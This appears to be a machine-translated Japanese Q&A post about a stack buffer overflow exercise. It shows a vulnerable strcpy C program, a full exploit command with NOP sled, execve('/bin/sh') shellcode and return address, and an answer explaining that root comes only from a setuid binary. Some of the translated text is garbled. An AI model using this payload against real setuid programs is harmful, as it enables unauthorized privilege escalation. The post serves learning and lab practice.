バッファオーバーフロー攻撃でシェルコードをrootとして実行しますか?

バッファオーバーフロー攻撃でシェルコードをrootとして実行しますか?

次のコードを活用しようとしています。

#include <stdio.h>
#include <string.h>

int main(int argc, char** argv){
    char buffer[100];
    strcpy(buffer, argv[1]);

    return 0;
}

次のコマンドを使用してください

./vuln $(python -c "import sys; sys.stdout.buffer.write(b'\x90'*60 + b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + b'\x40\xd6\xff\xff'*6)")

最初の部分はNOPで、2番目の部分は私が得たシェルコードです。このウェブサイトでなければなりませんexecve("/bin/sh")。最後の部分は返品先住所です。私のプログラムは、すべての保護メカニズムが無効になっている32ビットシステム用にコンパイルされました。スクリプトを実行すると、次の結果が表示されます。

process 15377 is executing new program: /usr/bin/bash

bashルートではなく現在のユーザーとして実行することを意味します。シェルをrootとして実行するためのシェルコードはどこにありますか?これが起こらないようにするには、Linux機能を無効にする必要がありますか?

実行すると、whoamiルートではなく現在のユーザーを取得します。これに「最初の攻撃!シェルコードバッファオーバーフロー – bin 0x0E”ビデオ同じスクリプトを使用してrootアクセス権を付与します。

ベストアンサー1

スクリプトを実行すると、新しいプログラム /usr/bin/bash を実行するプロセス 15377 が表示されます。これは、bashがrootではなく現在のユーザーとして実行されていることを意味します。

はい、これは「ユーザー」のアイデアが機能する方法です。つまり、プログラムを実行すると、現在のユーザーとして実行されます。

1つは、setuid実行可能ファイルにファイル属性を付与して、現在のユーザーの代わりに常にファイル所有者(おそらくroot)として実行できるようにすることです。論理的な理由から、すでにルートである場合にのみ、このビットをファイルに追加できます。いいえルートになる必要はありません。たとえば、bash 実行可能ファイルのコピーに setuid ビットを割り当てることで、いつでも権限を高めることができます。

これが起こらないようにするには、Linux機能を無効にする必要がありますか?

これは特定の機能ではなく、1970年代のUNIX以降の「ユーザー」の概念を文字通り意味しています。

idその人の出力では、グループはルートですが、有効なグループはルートではないことがわかります。したがって、脆弱なファイルはすでにsetuid / setgidビットが設定された状態で実行されています!ファイルのプロパティ()を確認すると、どのビットが設定されているかをls -l /…/stack-five確認できます。s

したがって、どのプロセスの権限も昇格できません。最初から存在していましたが、今はプロセスを悪用してそれを悪用することができます。

おすすめ記事